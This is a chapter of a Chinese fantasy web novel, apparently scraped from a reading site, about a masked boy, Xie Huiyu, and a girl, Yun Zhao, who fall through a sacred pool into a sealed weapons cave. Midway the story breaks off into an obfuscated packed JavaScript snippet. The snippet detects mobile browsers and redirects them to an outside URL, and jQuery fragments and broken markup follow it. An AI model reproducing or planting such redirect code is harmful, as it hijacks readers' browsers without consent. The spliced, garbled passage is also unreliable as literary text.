谢回玉走在前头,行动间,他腰间的两枚银铃不断地发出声响。他低头看着,漆黑的眼睛里映出几点银光。


    这两枚铃铛,都是云昭的,可她没有认出来。


    一枚是三年前,他从极寒峰找到。一枚是七年前,在水行天的凌霄池里,她落下的。


    谢回玉一出生,他的父母就飞升了。


    别人都说他倒霉,若是他能晚些出来,还能去九重天上做个神君。但更倒霉的是,他长得,很怪异。


    襁褓中的孩子没有哭闹,好奇的看着在场的人,眼睛只有眼白,脸上蔓延着植物根系一样的银色脉络。


    被那样的眼睛看着,只觉体温骤降,血液结冰,毛骨悚然。


    长老们说,他被邪魔附体,是不祥之婴,会给水行天带来灾祸,必须除之以绝后患。


    但宗主谢玄清力排众议保下了他,因为他的母亲,是谢玄清的亲姐姐。


    宗内事务繁忙,谢玄清总不能时时看顾着他。他六岁那年,被几个族中弟子带离了宗门,丢到了一座深山老林中。


    弟子们浮在空中叽里咕噜。


    “这样不好吧,他也算我们堂弟,万一他舅舅知道怎么办?”


    “怕什么?宗主现在不在水行天,他没有修为,话都不会说,多半脑子也有问题,谁能知道是我们干的?”


    “也是......妖怪似的,偏偏有个好出身,平常弟子根本没资格进的凌霄池,他却能天天进,听说还在上边划船,真是不懂规矩,粗野至极。”


    年幼的谢回玉在原地坐着,不哭不闹。这种“恶作剧”十天半个月都要来一回,他知道他是个不受待见的人,但是他也知道,舅舅发现他不见了会来找他的。


    可这次他等了好几天,舅舅没有来。


    七天后,谢回玉竟然自己回了宗门。


    没有人知道他是怎么回来的,原先把他带出去的弟子都躲得远远的,生怕谢回玉去找他们寻仇。


    隔日,谢玄清回到宗门,第一时间去看他的大外甥,却发现他身上发生了翻天覆地的变化。


    好的是,他引气入体了,灵脉酣畅,天资出众。


    坏的是,谢回玉似乎更加安静,更加沉默,甚至躲得远远的,不愿让他碰。


    过了几天,谢回玉开口说话了,这是他第一次说话,谢玄清十分惊喜,以为终于能听到外甥喊舅舅了。


    “我要,面具。”男孩仿佛无法说一句完整的话,但仍十分执着的表达。


    谢玄清亲自去琅玕山为他寻了一块灵玉,精心打造了一个面具,又在上面施了法,谢回玉戴上后,只有他本人才能够揭开它。


    自此,水行天少了一个人人嫌恶的妖怪,多了一个戴着面具的天才,即使众人都心照不宣他们是同一个人,但修仙界从来都强者为尊,一个未来可期好苗子更是众人赞许的对象。


    渐渐地,他有了一个名号,“玉面公子”。


    谢回玉的灵力十分强大,进步飞速,但在谢玄清在为他挑选本命武器时,却犯了难。


    无论是刀枪剑戟,还是珠印尺扇,谢回玉统统摇头,谢玄清没办法,这事儿也就搁置下来。


    谢回玉最常做的,就是待在凌霄池。舅舅说,他的父母是神仙,而凌霄池是与神仙沟通的地方。


    他很想见见父母,问一个问题。


    于是他就一直等,直到他十二岁那年,有个女孩从凌霄池中钻了出来。


    水行天云雾弥漫,月亮高悬,水中波光粼粼,有悦耳铃声回荡。


    一圈一圈。


    谢回玉看着池水中那个四处张望神情灵动的绿衣女孩,轻声问:“你是,神仙?”


    她似乎与他差不多大,脸庞圆润,下巴小巧,状似春桃。眼珠明亮,嘴巴红润,像画上的娃娃,十分喜庆。


    她梳着四个辫子,发尾绑了铃铛,原来是这里在响。


    神仙,长这样吗?那她应该是个小福星。


    小福星笑了,更加像画上的人:“我是云昭,你是谁?”


    谢回玉沉默了。


    云昭看这个戴面具的男孩不理她,有些奇怪,便抬手举了举手中的莲藕,上面还带了些泥土:“我晚上想吃红烧藕丁,厨房阿婶说今天的藕用完了,让我明天再来。可是我今天就就想吃,就自己去宗门后山的池塘挖了,结果一上来就在这,这是哪啊?”


    谢回玉慢慢说:“水行,天。”


    “水行天?”云昭想了想,似乎没什么印象,“怎么后山的池塘连着这啊,真是奇怪,我得回去了。”


    “拜拜,小结巴。”云昭很冒犯的给第一次见面的人起了个外号,挥挥手又要沉进池子里了。


    “不可!”谢回玉伸手就要去拉她的衣服。


    凌霄池下面不是活水,怎么可能连着别的宗门的池塘。


    但云昭十分结实,力气奇大,谢回玉没有拉住她,反而被她带了下去。


    云昭没想到她把人拽下来了,怕这看着十分病弱的小孩冻死或是溺死,连忙要把人送上去。


    可谁知本来近在咫尺的水面却怎么也到不了,甚至有一股强大的吸力,把两人往池底卷。


    混乱间,云昭只来得及抓住男孩的手,却被男孩挣开。


    哎不是,他是黄花大闺女吗??


    云昭一阵腹诽,失去了意识。


    再睁眼,她身处一个密闭空间,身后是一湾池塘,眼前是一扇紧闭的石门。


    云昭心道:“这怎么看,都是要推门进去的吧。”


    她正要起身,却发现自己的衣角被拉住。回头一看,哎呀,这还有个人。


    谢回玉抬手将面具网上挪了挪,吐出一口水来。云昭看着这人苍白的嘴唇顿时心生愧疚,毕竟是她把人带下来的。


    “你还好吗?”


    谢回玉将面具戴好,撑着身子坐起来,念了个诀身上的水汽瞬间蒸发,又是清清爽爽不染尘埃的小公子。


    他头往云昭这边转,似乎在看她。


    云昭心领神会,咧嘴一笑:“不用,这个我也会。”


    两人站起身来,谢回玉整了整自己的衣摆,就见云昭抬脚就往石门那走,忙道:“不可!”


    “你怎么一直在说不可?”


    “不可,进。”凌霄池是神明才能通行的地方,谢回玉觉得可能是什么封印发生了松动,水底的漩涡把他们送到了这,但无论如何,这不是他们该来的地方。


    云昭问:“这是你们宗门的禁地?里面有什么?”


    “不知......”声音隔着面具有些嗡嗡的。


    “你这样不难受吗,就不能把面具摘下来吗?”这人刚才差点被水呛死都要戴着。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230996|197530||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    云昭脑子里闪过他当时露出的一小截下巴。


    好像挺白的。


    谢回玉直接不说话了。


    云昭真是头回见这么不给她面子的人,顿时也有些情绪了,直接起身往石门那走去。


    谢回玉想要去拦她,却又不想与人太近,就离着不远不近的距离干着急。


    小孩的脾气来的快去的也快,云昭看他这副窘迫样,又哈哈大笑。


    “你不觉得这个门在这杵着,它就在说,‘来吧,进来吧’,我不进去看一看,岂不是辜负他的等待吗?”


    谢回玉从未见过如此想当然的人。


    云昭知道这小结巴不爱说话,也不等他的回答了,自顾自说:“哪有那么多的不能做,不该做。我这人,向来想做就去做了,要是有不对,赔礼道歉就是。”


    云昭能感受到谢回玉身上的磅礴灵气,他们都是很厉害的人,笑着说:“就算有危险,我们也能全身而退,你信不信?”


    可以相信吗?


    他以前面对那些人的恶作剧时,他们也会这么说。那些人一般都是他的远房兄姐,有着或远或近的血缘关系,所以他相信了。


    但结果可想而知。


    踌躇间云昭直接伸手一推,尘封多年的石头突然被移动,扬起一地灰尘,十分呛人。


    谢回玉连忙施了好几个除尘诀,打头阵的云昭却不在意,灰尘进了口鼻,她呸了几声后就往门里走了,谢回玉只能跟上。


    云昭皱眉道:“怎么乌漆嘛黑的。”


    话音刚落,两边石壁上一排排火光亮起。


    豁然开朗,这是个巨大的圆形洞窟,面前一条宽敞的大路,路旁堆着沙土岩石,无数刀光剑影闪烁其中。


    云昭定睛一看,好家伙,这是个武器库啊。有火焰缠身的长剑,光彩熠熠的大刀,金龙盘旋的铁棍,随便拿出一个都是万人追捧的宝器。


    云昭这里看看,那里看看,好不新鲜,她正想寻把趁手的宝剑,但萧南沉拿来的她总觉得差点什么。


    云昭正纠结的挑选,洞窟内突然传来一声咳嗽。


    云昭看过去,路的尽头有一块大石头,上面坐着一个白衣少年,他上半身隐在黑暗中,一只腿盘着,一只腿自然垂下,腰身十分纤细,用一条绣金红绸缠着,头发梳成高高的马尾,和红发带一起静静垂在身后。


    他身后的壁灯蹭的亮起,云昭看见了他的脸。


    一张雌雄不辨,精致美丽的脸,眼含桃花,唇角微翘,似笑非笑。


    云昭瞪大了眼:“萧乐之!!?你怎么在这?”


    随即反应过来,虽脸长的几乎是差不多的,但年龄不对,萧乐之才十一岁,眼前这人起码也是二十上下。


    那人闻言身形顿了顿,从石头上跳了下来,看着一前一后闯进来的两个小萝卜。


    “你是天灵宗的人。”少年蹲下身来看着云昭,声音清越,却落不到实处。


    云昭看着眼前人的脚下,没有影子。


    他气息纯净,没有怨气,不是鬼魂。


    是灵体。


    “是,前辈是?”云昭心里有一个答案已经呼之欲出。


    “我是南宫明夷。”


    她是飞凰神女的后人,萧乐之的母亲,她的师娘,南宫夫人。


    师娘怎么这么帅啊我靠!